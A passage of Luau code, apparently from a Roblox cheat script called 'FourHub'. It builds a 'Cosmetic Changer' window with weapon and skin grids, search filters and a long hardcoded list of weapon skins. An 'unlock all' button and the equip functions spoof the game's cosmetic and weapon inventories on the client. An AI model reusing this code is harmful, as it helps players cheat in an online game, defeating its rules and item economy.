outerConstraint = Instance.new("UISizeConstraint"); outerConstraint.MinSize = Vector2.new(300, 280); outerConstraint.MaxSize = viewport; outerConstraint.Parent = outer; local userInput = game:GetService("UserInputService"); local resizer = Instance.new("TextButton"); resizer.Name = "CosmeticResizer"; resizer.Text = ""; resizer.AutoButtonColor = false; resizer.AnchorPoint = Vector2.new(1, 1); resizer.Position = UDim2.new(1, -2, 1, -2); resizer.Size = UDim2.fromOffset(18, 18); resizer.BackgroundColor3 = Color3.fromRGB(0, 186, 255); resizer.BorderSizePixel = 0; resizer.Size = UDim2.fromOffset(14, 14); resizer.ZIndex = 50; resizer.Parent = outer; local resizing = false; local resizeStart = nil; local resizeStartSize = nil; resizer.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then resizing = true; resizeStart = input.Position; resizeStartSize = outer.AbsoluteSize; end; end); resizer.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then resizing = false; end; end); userInput.InputChanged:Connect(LPH_NO_VIRTUALIZE(function(input) if not resizing or not resizer.Parent then return end; if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then local viewport = workspace.CurrentCamera and workspace.CurrentCamera.ViewportSize or Vector2.new(1920, 1080); local delta = input.Position - resizeStart; local newW = math.clamp(resizeStartSize.X + delta.X, 360, viewport.X); local newH = math.clamp(resizeStartSize.Y + delta.Y, 280, viewport.Y); outer.Size = UDim2.fromOffset(newW, newH); end; end)); local inner = Instance.new("Frame"); inner.Name = "CosmeticChangerInner"; inner.Size = UDim2.new(1, -2, 1, -2); inner.Position = UDim2.fromOffset(1, 1); inner.BorderSizePixel = 0; inner.Parent = outer; local panel = Instance.new("Frame"); panel.Name = "CosmeticChangerContent"; panel.AnchorPoint = Vector2.new(0.5, 0.5); panel.Position = UDim2.fromScale(0.5, 0.5); panel.Size = UDim2.new(1, -2, 1, -2); panel.BorderSizePixel = 0; panel.ClipsDescendants = true; panel.Parent = inner; local top = Instance.new("Frame"); top.Size = UDim2.new(1, 0, 0, 38); top.Position = UDim2.new(0, 0, 0, 0); top.BorderSizePixel = 0; top.Parent = panel; local accentBar = Instance.new("Frame"); accentBar.Name = "CosmeticChangerAccent"; accentBar.BorderSizePixel = 0; accentBar.Size = UDim2.new(1, 0, 0, 2); accentBar.Position = UDim2.new(0, 0, 0, 0); accentBar.ZIndex = 2; accentBar.Parent = panel; local title = Instance.new("TextLabel"); title.BackgroundTransparency = 1; title.Size = UDim2.new(1, -80, 1, -2); title.Position = UDim2.new(0, 8, 0, 2); title.Font = uiFont; title.TextSize = 14; title.TextXAlignment = Enum.TextXAlignment.Left; title.Text = "Cosmetic Changer"; title.Parent = top; pcall(function() Library:SetAccentTitle(title, 'Cosmetic Changer', 'Changer'); end); local closeBtn = Instance.new("TextButton"); closeBtn.AnchorPoint = Vector2.new(1, 0.5); closeBtn.Size = UDim2.fromOffset(24, 24); closeBtn.Position = UDim2.new(1, -8, 0.5, 1); closeBtn.Text = "X"; closeBtn.Font = uiFont; closeBtn.TextSize = 14; closeBtn.AutoButtonColor = false; closeBtn.BackgroundTransparency = 1; closeBtn.Parent = top; closeBtn.MouseButton1Click:Connect(function() local st = getgenv().FourHub_cosmetic_state; if st then st.dismissedThisSession = true; if st.frame then st.frame.Visible = false; end; end; end); local FOOTER_H = 112; local GRID_COLS = 3; local GRID_GAP = 4; local GRID_PAD = 6; local GRID_LABEL_H = 14; local GRID_SELECT_BG = Color3.fromRGB(0, 0, 0); local leftHolder = Instance.new("Frame"); leftHolder.Size = UDim2.new(0.46, -12, 1, -(40 + FOOTER_H)); leftHolder.Position = UDim2.new(0, 10, 0, 40); leftHolder.BorderSizePixel = 0; leftHolder.Parent = panel; local rightHolder = Instance.new("Frame"); rightHolder.Size = UDim2.new(0.54, -12, 1, -(40 + FOOTER_H)); rightHolder.Position = UDim2.new(0.46, 2, 0, 40); rightHolder.BorderSizePixel = 0; rightHolder.Parent = panel; local function styleSearchBox(box) box.BorderSizePixel = 1; box.BorderMode = Enum.BorderMode.Inset; box.ClipsDescendants = true; local pad = Instance.new("UIPadding"); pad.PaddingLeft = UDim.new(0, 8); pad.PaddingRight = UDim.new(0, 8); pad.Parent = box; end; local weaponSearch = Instance.new("TextBox"); weaponSearch.Size = UDim2.new(1, -8, 0, 24); weaponSearch.Position = UDim2.new(0, 4, 0, 4); weaponSearch.ClearTextOnFocus = false; weaponSearch.Text = ""; weaponSearch.PlaceholderText = "filter weapons..."; weaponSearch.Font = uiFont; weaponSearch.TextSize = 13; weaponSearch.TextXAlignment = Enum.TextXAlignment.Left; weaponSearch.Parent = leftHolder; styleSearchBox(weaponSearch); local cosmeticSearch = Instance.new("TextBox"); cosmeticSearch.Size = UDim2.new(1, -8, 0, 24); cosmeticSearch.Position = UDim2.new(0, 4, 0, 4); cosmeticSearch.ClearTextOnFocus = false; cosmeticSearch.Text = ""; cosmeticSearch.PlaceholderText = "filter cosmetics..."; cosmeticSearch.Font = uiFont; cosmeticSearch.TextSize = 13; cosmeticSearch.TextXAlignment = Enum.TextXAlignment.Left; cosmeticSearch.Parent = rightHolder; styleSearchBox(cosmeticSearch); local weaponFilterLbl = Instance.new("TextLabel"); weaponFilterLbl.BackgroundTransparency = 1; weaponFilterLbl.Size = UDim2.new(1, -8, 0, 14); weaponFilterLbl.Position = UDim2.new(0, 4, 0, 2); weaponFilterLbl.Font = Enum.Font.Code; weaponFilterLbl.TextSize = 12; weaponFilterLbl.TextXAlignment = Enum.TextXAlignment.Left; weaponFilterLbl.Text = "weapon filter"; weaponFilterLbl.Parent = leftHolder; weaponSearch.Position = UDim2.new(0, 4, 0, 18); local cosmeticFilterLbl = Instance.new("TextLabel"); cosmeticFilterLbl.BackgroundTransparency = 1; cosmeticFilterLbl.Size = UDim2.new(1, -8, 0, 14); cosmeticFilterLbl.Position = UDim2.new(0, 4, 0, 2); cosmeticFilterLbl.Font = Enum.Font.Code; cosmeticFilterLbl.TextSize = 12; cosmeticFilterLbl.TextXAlignment = Enum.TextXAlignment.Left; cosmeticFilterLbl.Text = "cosmetic filter"; cosmeticFilterLbl.Parent = rightHolder; cosmeticSearch.Position = UDim2.new(0, 4, 0, 18); local weaponList = Instance.new("ScrollingFrame"); weaponList.Position = UDim2.new(0, 6, 0, 46); weaponList.Size = UDim2.new(1, -12, 1, -52); weaponList.CanvasSize = UDim2.fromOffset(0, 0); weaponList.ScrollBarThickness = 4; weaponList.ScrollBarImageTransparency = 0.35; weaponList.BorderSizePixel = 1; weaponList.BorderMode = Enum.BorderMode.Inset; weaponList.BackgroundTransparency = 0; weaponList.Parent = leftHolder; local wl = Instance.new("UIGridLayout", weaponList); wl.SortOrder = Enum.SortOrder.LayoutOrder; wl.FillDirectionMaxCells = 3; local wlPad = Instance.new("UIPadding", weaponList); wlPad.PaddingTop = UDim.new(0, GRID_PAD); wlPad.PaddingBottom = UDim.new(0, GRID_PAD); wlPad.PaddingLeft = UDim.new(0, GRID_PAD); wlPad.PaddingRight = UDim.new(0, GRID_PAD); local typeBar = Instance.new("Frame"); typeBar.Size = UDim2.new(1, -12, 0, 28); typeBar.Position = UDim2.new(0, 6, 0, 46); typeBar.BackgroundTransparency = 1; typeBar.BorderSizePixel = 0; typeBar.Parent = rightHolder; local cosmeticList = Instance.new("ScrollingFrame"); cosmeticList.Position = UDim2.new(0, 6, 0, 78); cosmeticList.Size = UDim2.new(1, -12, 1, -84); cosmeticList.CanvasSize = UDim2.fromOffset(0, 0); cosmeticList.ScrollBarThickness = 4; cosmeticList.ScrollBarImageTransparency = 0.35; cosmeticList.BorderSizePixel = 1; cosmeticList.BorderMode = Enum.BorderMode.Inset; cosmeticList.Parent = rightHolder; local cl = Instance.new("UIGridLayout", cosmeticList); cl.SortOrder = Enum.SortOrder.LayoutOrder; cl.FillDirectionMaxCells = 3; local clPad = Instance.new("UIPadding", cosmeticList); clPad.PaddingTop = UDim.new(0, GRID_PAD); clPad.PaddingBottom = UDim.new(0, GRID_PAD); clPad.PaddingLeft = UDim.new(0, GRID_PAD); clPad.PaddingRight = UDim.new(0, GRID_PAD); local bottomBar = Instance.new("Frame"); bottomBar.Name = "CosmeticBottomBar"; bottomBar.Size = UDim2.new(1, 0, 0, FOOTER_H); bottomBar.Position = UDim2.new(0, 0, 1, -FOOTER_H); bottomBar.BackgroundTransparency = 1; bottomBar.BorderSizePixel = 0; bottomBar.Parent = panel; local bottomDivider = Instance.new("Frame"); bottomDivider.Name = "BottomDivider"; bottomDivider.Size = UDim2.new(1, -20, 0, 1); bottomDivider.Position = UDim2.new(0, 10, 0, 4); bottomDivider.BorderSizePixel = 0; bottomDivider.BackgroundTransparency = 0.5; bottomDivider.Parent = bottomBar; local skinHint = Instance.new("TextLabel"); skinHint.Name = "SkinHint"; skinHint.BackgroundTransparency = 1; skinHint.Size = UDim2.fromOffset(168, 46); skinHint.Position = UDim2.fromOffset(12, 8); skinHint.Font = Enum.Font.Code; skinHint.TextSize = 13; skinHint.TextXAlignment = Enum.TextXAlignment.Left; skinHint.TextYAlignment = Enum.TextYAlignment.Center; skinHint.TextWrapped = true; skinHint.Text = "right click weapon to remove skin"; skinHint.Parent = bottomBar; local wrapToggleRow = Instance.new("Frame"); wrapToggleRow.Name = "WrapToggleRow"; wrapToggleRow.Size = UDim2.fromOffset(176, 50); wrapToggleRow.Position = UDim2.fromOffset(188, 6); wrapToggleRow.BackgroundTransparency = 1; wrapToggleRow.Visible = false; wrapToggleRow.Parent = bottomBar; local wrapToggleLayout = Instance.new("UIListLayout", wrapToggleRow); wrapToggleLayout.FillDirection = Enum.FillDirection.Horizontal; wrapToggleLayout.Padding = UDim.new(0, 16); wrapToggleLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center; wrapToggleLayout.VerticalAlignment = Enum.VerticalAlignment.Center; wrapToggleLayout.SortOrder = Enum.SortOrder.LayoutOrder; local actionRow = Instance.new("Frame"); actionRow.Name = "ActionRow"; actionRow.AnchorPoint = Vector2.new(1, 1); actionRow.Size = UDim2.fromOffset(340, 30); actionRow.Position = UDim2.new(1, -12, 1, -10); actionRow.BackgroundTransparency = 1; actionRow.Parent = bottomBar; local actionLayout = Instance.new("UIListLayout", actionRow); actionLayout.FillDirection = Enum.FillDirection.Horizontal; actionLayout.Padding = UDim.new(0, 8); actionLayout.HorizontalAlignment = Enum.HorizontalAlignment.Right; actionLayout.VerticalAlignment = Enum.VerticalAlignment.Center; local applyBtn = Instance.new("TextButton"); applyBtn.Name = "ApplyBtn"; applyBtn.Size = UDim2.fromOffset(72, 28); applyBtn.Text = "apply"; applyBtn.Font = Enum.Font.Code; applyBtn.TextSize = 12; applyBtn.BorderSizePixel = 1; applyBtn.AutoButtonColor = false; applyBtn.Parent = actionRow; local fallback = Instance.new("TextButton"); fallback.Name = "UnlockAllBtn"; fallback.Size = UDim2.fromOffset(88, 28); fallback.Text = "unlock all"; fallback.Font = Enum.Font.Code; fallback.TextSize = 12; fallback.BorderSizePixel = 1; fallback.AutoButtonColor = false; fallback.Parent = actionRow; fallback.MouseButton1Click:Connect(function() unlockAllActive = true; pcall(function() data_ctrl.CurrentData:Replicate("CosmeticInventory"); data_ctrl.CurrentData:Replicate("WeaponInventory"); data_ctrl.CurrentData:Replicate("FavoritedCosmetics"); end); end); local function getWeapons() local out, seen = {}, {}; local function addWeapon(name) if type(name) ~= "string" then return end; name = name:gsub("^%s+", ""):gsub("%s+$", ""); if name == "" then return end; if not seen[name] then seen[name] = true; table.insert(out, name); end; end; local function harvestTable(tbl) if type(tbl) ~= "table" then return end; for k, v in eli_pairs(tbl) do if type(k) == "string" then addWeapon(k); end; if type(v) == "table" then addWeapon(v.Name); addWeapon(v.Weapon); addWeapon(v.WeaponName); elseif type(v) == "string" then addWeapon(v); end; end; end; local weaponInv = data_ctrl and data_ctrl.Get and data_ctrl:Get("WeaponInventory"); harvestTable(weaponInv); harvestTable(equipped); harvestTable(favorites); if item_library then harvestTable(item_library.Weapons); harvestTable(item_library.WeaponData); harvestTable(item_library.Items); harvestTable(item_library.Guns); end; pcall(function() local mods = local_player.PlayerScripts:FindFirstChild("Modules"); local vmFolder = mods and mods:FindFirstChild("ViewModels"); if not vmFolder then return end; for _, mod in eli_ipairs(vmFolder:GetChildren()) do addWeapon((mod.Name:gsub("^Base", ""))); end; end); for _, cdata in eli_pairs(cosmetic_lib.Cosmetics or {}) do if type(cdata) == "table" and type(cdata.Weapons) == "table" then for _, wn in eli_ipairs(cdata.Weapons) do addWeapon(wn); end; end; end; table.sort(out); return out; end; local weaponSkinSeedRaw = { ["Assault Rifle"] = {"AKEY-47", "AUG", "Gingerbread AUG", "Tommy Gun", "AK-47", "Boneclaw Rifle", "Glorious Assault Rifle", "Phoenix Rifle", "10B Visits"}, ["Battle Axe"] = {"Ban Axe", "Nordic Axe", "Cerulean Axe", "Balloon Axe", "Mimic Axe", "Street Sign", "The Shred", "Glorious Battle Axe", "Keyttle Axe"}, ["Burst Rifle"] = {"Keyst Rifle", "Spectral Burst", "Pine Burst", "Glorious Burst Rifle", "Pixel Burst", "Electro Rifle", "Electro Burst", "FAMAS", "Aqua Burst"}, Chainsaw = {"Glorious Chainsaw", "Buzzsaw", "Festive Chainsaw", "Handsaws", "Mega Drill", "Blobsaw"}, Bow = {"Key Bow", "Raven Bow", "Dream Bow", "Glorious Bow", "Bat Bow", "Compound Bow", "Beloved Bow", "Balloon Bow", "Frostbite Bow"}, Crossbow = {"Glorious Crossbow", "Crossbone", "Pixel Crossbow", "Arch Crossbow", "Harpoon Crossbow", "Violin Crossbow", "Frostbite Crossbow"}, Daggers = {"Aces", "Bat daggers", "Toaster", "Cookies", "Keynais", "Paper Planes", "Crystal Daggers", "Broken Hearts", "Glorious Daggers", "Shurikans", "Pumpkin Claws"}, ["Energy Rifle"] = {"Hacker Rifle", "Apex Rifle", "Glorious Energy Rifle", "New Year Energy Rifle", "Void Rifle", "Soul Rifle", "Hydro Rifle"}, ["Energy Pistols"] = {"Hacker Pistols", "Hyperlaser Guns", "New Year Energy Pistols", "Hydro Pistols", "Soul Pistols", "Void Pistols", "Glorious Energy Pistols", "Apex Pistols"}, Exogun = {"Wondergun", "Ray Gun", "Exogourd", "Repulsor", "Glorious Exogun", "Midnight Festive Exogun", "Singularity"}, Fists = {"Festive Fists", "Spy Gloves", "Fists of Hurt", "Brass Knuckles", "Boxing Gloves", "Pumpkin Claws", "Fist", "Glorious Fists"}, Flamethrower = {"Rainbowthrower", "Extinguisher", "Keythrower", "Snowblower", "Lamethrower", "Glitterthrower", "Glorious Flamethrower", "Pixel Flamethrower", "Jack O'Thrower"}, ["Flare Gun"] = {"Vexed Flare Gun", "Wrapped Flare Gun", "Banana Flare Gun", "Banana Flare", "Glorious Flare Gun", "Firework Gun", "Dynamite Gun"}, ["Freeze Ray"] = {"Gum Ray", "Glorious Freeze Ray", "Spider Ray", "Temporal Ray", "Bubble Ray", "Wrapped Freeze Ray"}, Grenade = {"Glorious Grenade", "Water balloon", "Water Balloon", "Dynamite", "Whoopee Cushion", "Jingle Grenade", "Keynade", "Frozen Grenade", "Cuddle Bomb", "Soul Grenade"}, ["Grenade Launcher"] = {"Uranium Launcher", "Swashbuckler", "Balloon Launcher", "Skull Launcher", "Snowball Launcher", "Gearnade Launcher", "Firework Launcher", "Pumpkin Launcher", "Pencil Launcher", "Glorious Grenade Launcher"}, Gunblade = {"Elf's Gunblade", "Hyper Gunblade", "Glorious Gunblade", "Boneblade", "Keyblade", "Crude Gunblade", "Gunsaw"}, Handgun = {"Towerstone Handgun", "Blaster", "Stealth Handgun", "Gingerbread Handgun", "Pumpkin Handgun", "Gumball Handgun", "Hand Gun", "Glorious Handgun", "Pixel Handgun", "Warp Handgun"}, Katana = {"Pixel Katana", "Evil Tridant", "Devil's Trident", "Linked Sword", "New Year Katana", "Glorious Katana", "Crystal Katana", "Stellar Katana", "Keytana", "Saber", "Lightning Bolt", "Arch Katana", "Thunderbolt Katana"}, Knife = {"Balisong", "Machete", "Chancla", "Keyrambit", "Candy Cane", "Caladblog", "Glorious Knife", "Keylisong", "Armature.001", "pencil", "Karambit"}, Minigun = {"Fighter Jet", "Wrapped Minigun", "Pumpkin Minigun", "Glorious Minigun", "Pixel Minigun", "Lazergun 3000", "Lasergun 3000"}, ["Riot Shield"] = {"Tombstone Shield", "Masterpiece", "Door", "Glorious Riot Shield", "Sled", "Energy Shield"}, Molotov = {"Arch Molotov", "Coffee", "Lava Lamp", "Torch", "Hot Coals", "Vexed Candle", "Glorious Molotov"}, ["Paintball Gun"] = {"Slime Gun", "Ketchup Gun", "Glorious Paintball Gun", "Boba Gun", "Snowball Gun", "Brain Gun", "Paintballoon Gun"}, Revolver = {"Peppermint sheriff", "Peppermint Sheriff", "Desert Eagle", "Deagle", "Boneclaw Revolver", "Glorious Revolver", "Keyvolver", "Sheriff", "Peppergun"}, RPG = {"Rocket launcher", "Rocket Launcher", "Spaceship launcher", "Spaceship Launcher", "Firework Launcher", "Pencil Launcher", "RPKEY", "RPKey", "Squid Launcher", "Pumpkin Launcher", "Glorious RPG"}, Scythe = {"Scythe of Death", "Anchor", "FourHub Scythe", "Keythe", "Bat Scythe", "Cryo Scythe", "Crystal Scythe", "Glorious Scythe", "Bug Net"}, Shorty = {"Shorty", "Lovely Shorty", "Demon Shorty", "Not So Shorty", "Balloon Shorty", "Too Shorty", "Glorious Shorty", "Wrapped Shorty"}, Shotgun = {"Broomstick", "Wrapped Shotgun", "Hyper Shotgun", "Balloon Shotgun", "Cactus Shotgun", "Glorious Shotgun", "Shotkey", "Witch Shotgun"}, Slingshot = {"Lucky Horseshoe", "Reindeer Slingshot", "Keyshot", "Boneshot", "Stick", "Glorious Slingshot", "Harp", "Goalpost"}, ["Smoke Grenade"] = {"Hourglass", "SnowGlobe", "Snowglobe", "Glorious Smoke Grenade", "Emoji Cloud", "Eyeball", "Balence", "Balance"}, Sniper = {"Keyper", "Gingerbread Sniper", "Glorious Sniper", "Hyper Sniper", "Event Horizon", "Eyething Sniper", "Pixel Sniper"}, ["Subspace Tripmine"] = {"Dev-in-the-Box", "Glorious subspace Tripmine", "Glorious Subspace Tripmine", "Pot o'Keys", "Trick or Treat", "DIY Tripmine", "Spring", "Don't Press"}, Spray = {"Pine spray", "Pine Spray", "Glorious Spray", "Spray Bottle", "Nail Gun", "Lovely Spray", "Boneclaw Spray", "Key Spray"}, Trowel = {"Pumpkin Carver", "Paintbrush", "Glorious Trowl", "Glorious Trowel", "Plastic Shovel", "Garden Shovel", "Snow Shovel"}, Uzi = {"Glorious Uzi", "Keyzi", "Money Gun", "Pine Uzi", "Water Uzi", "Water Gun", "Electro Uzi", "Arch Uzi", "Demon Uzi"}, Flashbang = {"Lightbulb", "Pixel Flashbang", "Glorious Flashbang", "Skullbang", "Camera", "Disco Ball", "Shiny Star", "Shining Star"}, Medkit = {"Glorious Medkit", "Bucket of Candy", "Box of Chocolates", "Breifcase", "Briefcase", "Laptop", "Medkitty", "Milk&cookies", "Sandwich"}, ["Jump Pad"] = {"Bounce House", "Shady Chicken Sandwich", "Trampoline", "Spider Web", "Glorious Jump Pad", "Jolly Man"}, ["War Horn"] = {"Trumpet", "Boneclaw Horn", "Megaphone", "Mammoth Horn", "Air Horn", "Glorious Air Horn", "Glorious War Horn"}, Permafrost = {"Ice Permafrost", "Snowman Permafrost", "Glorious Permafrost"}, Distortion = {"Plasma Distortion", "Electropunk Distortion", "Sleighstortion", "Glorious Distortion", "Magma Distortion", "Cyber Distortion", "Experimental D15"}, Satchel = {"Pizza Box", "Suspicious Gift", "Advanced Satchel", "Notebook Satchel", "Potion Satchel", "Glorious Satchel", "Bag o'Money"}, Warper = {"Frost Warper", "Hotel Bell", "Arcane Warper", "Electropunk Warper", "Glitter Warper", "Experiment W4", "Glorious Warper"}, Warpstone = {"Electropunk Warpstone", "Glorious Warpstone", "Warpbone", "Unstable Warpstone", "Cyber Warpstone", "Warpeye", "Warpstar", "Teleport Disc"}, Maul = {"Glorious Maul", "Sleigh Maul", "Ban Hammer", "Ice Maul"}, Spear = {"Giant Pencil", "Glorious Spear", "Studio Light"}, Grappler = {"Lasso", "Glorious Grappler"}, }; local weaponSkinSeed = {}; for weaponName, skinList in eli_pairs(weaponSkinSeedRaw) do local wn = cosmeticNorm(weaponName); weaponSkinSeed[wn] = weaponSkinSeed[wn] or {}; if type(skinList) == "table" then for _, skinName in eli_ipairs(skinList) do local sn = cosmeticNorm(skinName); if sn ~= "" then weaponSkinSeed[wn][sn] = true; end; end; end; end; pcall(function() local mods = local_player.PlayerScripts:FindFirstChild("Modules"); local vmFolder = mods and mods:FindFirstChild("ViewModels"); if not vmFolder then return end; for _, mod in eli_ipairs(vmFolder:GetChildren()) do local weaponName = (mod.Name:gsub("^Base", "")); local wn = cosmeticNorm(weaponName); if wn ~= "" then weaponSkinSeed[wn] = weaponSkinSeed[wn] or {}; for _, skin in eli_ipairs(mod:GetChildren()) do local sn = cosmeticNorm(skin.Name); if sn ~= "" then weaponSkinSeed[wn][sn] = true; end; end; end; end; end); local function getCosmeticsFor(weaponName, cosmeticType) local results = {}; cosmeticType = cosmeticType or "Skin"; local weaponNorm = cosmeticNorm(weaponName); local seededList = weaponSkinSeed[weaponNorm]; local function matchesWeapon(cdata) local st = getgenv().FourHub_cosmetic_state; if st and st.anyModel then return true; end; if type(cdata) ~= "table" then return false end; if cosmeticType == "Skin" and seededList then local n = cosmeticNorm(cdata.Name); if n == "" then return false end; return seededList[n] == true; end; local hasRestriction = false; local lists = { cdata.Weapons, cdata.WeaponList, cdata.AllowedWeapons, cdata.WhitelistWeapons }; for _, list in eli_ipairs(lists) do if type(list) == "table" then hasRestriction = true; for _, wn in eli_ipairs(list) do if cosmeticNorm(wn) == weaponNorm then return true; end; end; end; end; if cosmeticNorm(cdata.Weapon) == weaponNorm or cosmeticNorm(cdata.WeaponName) == weaponNorm or cosmeticNorm(cdata.Gun) == weaponNorm then return true; end; if (cosmeticType == "Wrap" or cosmeticType == "Charm") and not hasRestriction then return true; end; return false; end; for cname, cdata in eli_pairs(cosmetic_lib.Cosmetics or {}) do if type(cname) == "string" and type(cdata) == "table" and cdata.Type == cosmeticType and not cname:find("MISSING_") then cdata.Name = cdata.Name or cname; if matchesWeapon(cdata) then table.insert(results, cname); end; end; end; table.sort(results); return results; end; local typeButtons = {}; local function addTypeButton(typeName, order) local btn = Instance.new("TextButton"); btn.Size = UDim2.fromOffset(74, 26); btn.Position = UDim2.new(0, (order - 1) * 78, 0, 1); btn.Text = typeName:lower(); btn.Font = uiFont; btn.TextSize = 12; btn.AutoButtonColor = false; btn.BorderSizePixel = 1; btn.BorderMode = Enum.BorderMode.Inset; btn.Parent = typeBar; btn.MouseButton1Click:Connect(function() uiState.selectedType = typeName; if uiState.refreshCosmetics then uiState.refreshCosmetics() end; end); typeButtons[typeName] = btn; end; addTypeButton("Skin", 1); addTypeButton("Wrap", 2); addTypeButton("Charm", 3); uiState.pendingWrapOpts = uiState.pendingWrapOpts or {}; local wrapOptionToggles = {}; local function getActiveWrapName(weaponName) if not weaponName then return nil end; local pending = uiState.pendingCosmetics and uiState.pendingCosmetics[weaponName]; if pending and pending.Wrap and pending.Wrap ~= "" then return pending.Wrap; end; local eq = equipped[weaponName] and equipped[weaponName].Wrap; return eq and eq.Name or nil; end; local function getWrapEquipOptions(weaponName) uiState.pendingWrapOpts[weaponName] = uiState.pendingWrapOpts[weaponName] or {}; local pend = uiState.pendingWrapOpts[weaponName]; if pend.inverted ~= nil then return { IsInverted = pend.inverted == true }; end; local wrap = equipped[weaponName] and equipped[weaponName].Wrap; return { IsInverted = wrap and wrap.Inverted == true or false }; end; local function fireEquipCosmetic(weaponName, ctype, cname, extraOpts) extraOpts = extraOpts or {}; if ctype == "Wrap" then local wrapOpts = getWrapEquipOptions(weaponName); extraOpts.IsInverted = wrapOpts.IsInverted; end; equipped[weaponName] = equipped[weaponName] or {}; if not cname or cname == "None" or cname == "" then equipped[weaponName][ctype] = nil; if not next(equipped[weaponName]) then equipped[weaponName] = nil; end; else local cosmetic_data = clone_cosmetic(cname, ctype, { inverted = extraOpts.IsInverted }); if cosmetic_data then equipped[weaponName][ctype] = cosmetic_data; end; end; saveSkins(); pcall(function() data_ctrl.CurrentData:Replicate("CosmeticInventory"); data_ctrl.CurrentData:Replicate("WeaponInventory"); data_ctrl.CurrentData:Replicate("FavoritedCosmetics"); end); end; local function styleThemedToggle(toggleData, isOn) local main = toggleData.main; local accent = toggleData.accent; local font = toggleData.font; local outline = toggleData.outline; if not main or not accent then return end; toggleData.container.BackgroundTransparency = 1; toggleData.label.TextColor3 = font; toggleData.switch.BackgroundColor3 = isOn and accent or main; toggleData.switch.BorderColor3 = isOn and accent or outline; end; local function syncWrapOptionToggles() for key, toggleData in eli_pairs(wrapOptionToggles) do local isOn = false; local weaponName = uiState.selectedWeapon; local wrapName = getActiveWrapName(weaponName); if key == "Inverted" and weaponName then local pend = uiState.pendingWrapOpts[weaponName]; if pend and pend.inverted ~= nil then isOn = pend.inverted == true; elseif equipped[weaponName] and equipped[weaponName].Wrap then isOn = equipped[weaponName].Wrap.Inverted == true; end; elseif key == "Favorited" and weaponName and wrapName then isOn = favorites[weaponName] and favorites[weaponName][wrapName] == true; end; toggleData.isOn = isOn; styleThemedToggle(toggleData, isOn); end; end; local function syncWrapOptionsBar() local ctype = uiState.selectedType or "Skin"; local show = ctype == "Wrap" and uiState.selectedWeapon ~= nil; wrapToggleRow.Visible = show; if show then syncWrapOptionToggles(); end; end; local function makeThemedToggle(optionKey, labelText, layoutOrder) local container = Instance.new("TextButton"); container.Name = optionKey .. "Toggle"; container.Size = UDim2.fromOffset(96, 18); container.LayoutOrder = layoutOrder or 1; container.Text = ""; container.AutoButtonColor = false; container.BackgroundTransparency = 1; container.BorderSizePixel = 0; container.Parent = wrapToggleRow; local switch = Instance.new("Frame"); switch.Name = "Switch"; switch.Size = UDim2.fromOffset(13, 13); switch.Position = UDim2.new(0, 0, 0.5, -7); switch.BorderSizePixel = 1; switch.BorderMode = Enum.BorderMode.Inset; switch.Parent = container; local lbl = Instance.new("TextLabel"); lbl.BackgroundTransparency = 1; lbl.Size = UDim2.new(1, -19, 1, 0); lbl.Position = UDim2.fromOffset(19, 0); lbl.Font = uiFont; lbl.TextSize = 12; lbl.TextXAlignment = Enum.TextXAlignment.Left; lbl.TextYAlignment = Enum.TextYAlignment.Center; lbl.Text = string.lower(labelText); lbl.Parent = container; local toggleData = { container = container, label = lbl, switch = switch, isOn = false, }; wrapOptionToggles[optionKey] = toggleData; container.MouseButton1Click:Connect(function() local weaponName = uiState.selectedWeapon; if not weaponName then return end; local wrapName = getActiveWrapName(weaponName); local checked = not toggleData.isOn; toggleData.isOn = checked; styleThemedToggle(toggleData, checked); if optionKey == "Inverted" then uiState.pendingWrapOpts[weaponName] = uiState.pendingWrapOpts[weaponName] or {}; uiState.pendingWrapOpts[weaponName].inverted = checked; if wrapName and wrapName ~= "" then pcall(function() fireEquipCosmetic(weaponName, "Wrap", wrapName, { IsInverted = checked }); end); end; elseif optionKey == "Favorited" then if wrapName and wrapName ~= "" then favorites[weaponName] = favorites[weaponName] or {}; favorites[weaponName][wrapName] = checked or nil; saveSkins(); pcall(function() data_ctrl.CurrentData:Replicate("FavoritedCosmetics"); end); end; end; end); return toggleData; end; makeThemedToggle("Inverted", "inverted", 1); makeThemedToggle("Favorited", "favorited", 2); local styleCosmeticActionButton; task.defer(function() pcall(function() if styleCosmeticActionButton then styleCosmeticActionButton(fallback) end end); pcall(function() if styleCosmeticActionButton then styleCosmeticActionButton(applyBtn) end end); end); local weaponImageCache = {}; local cosmeticImageCache = {}; local function clearChildren(sf) for _, c in eli_ipairs(sf:GetChildren()) do if not c:IsA("UIGridLayout") and not c:IsA("UIListLayout") and not c:IsA("UIPadding") then c:Destroy(); end; end; end; local function resizeGridCanvas(sf, gridLayout) task.defer(function() if sf and gridLayout and gridLayout.Parent then local pad = sf:FindFirstChildOfClass("UIPadding"); local extra = GRID_PAD * 2; if pad then extra = pad.PaddingTop.Offset + pad.PaddingBottom.Offset; end; sf.CanvasSize = UDim2.fromOffset(0, gridLayout.AbsoluteContentSize.Y + extra); end; end); end; local function fitGridToFrame(sf, gridLayout) if not sf or not gridLayout then return end; local pad = sf:FindFirstChildOfClass("UIPadding"); local padX = pad and (pad.PaddingLeft.Offset + pad.PaddingRight.Offset) or GRID_PAD * 2; local scrollInset = sf.ScrollBarThickness + 2; local innerW = math.max(sf.AbsoluteSize.X - padX - scrollInset, 72); local totalGap = GRID_GAP * (GRID_COLS - 1); local cellW = math.floor((innerW - totalGap) / GRID_COLS); cellW = math.max(cellW, 52); local cellH = cellW + GRID_LABEL_H; gridLayout.CellSize = UDim2.fromOffset(cellW, cellH); gridLayout.CellPadding = UDim2.fromOffset(GRID_GAP, GRID_GAP); end; local function getSkinImageId(skinName, highRes) if not skinName or skinName == "" then return "" end; local vm = item_library.ViewModels and item_library.ViewModels[skinName]; if type(vm) == "table" then return vm[highRes and "ImageHighResolution" or "Image"] or vm.Image or ""; end; local cdata = cosmetic_lib.Cosmetics and cosmetic_lib.Cosmetics[skinName]; if type(cdata) == "table" then return cdata.Image or cdata.Icon or cdata.Thumbnail or ""; end; return ""; end; local function getWeaponSkinName(weaponName, weapon_data) local preview = uiState and uiState.previewSkin; if preview and preview.weapon == weaponName and preview.name then return preview.name; end; local equipped_name = resolveEquippedWeaponName(weaponName, weapon_data); if equipped_name and equipped[equipped_name] and equipped[equipped_name].Skin and equipped[equipped_name].Skin.Name 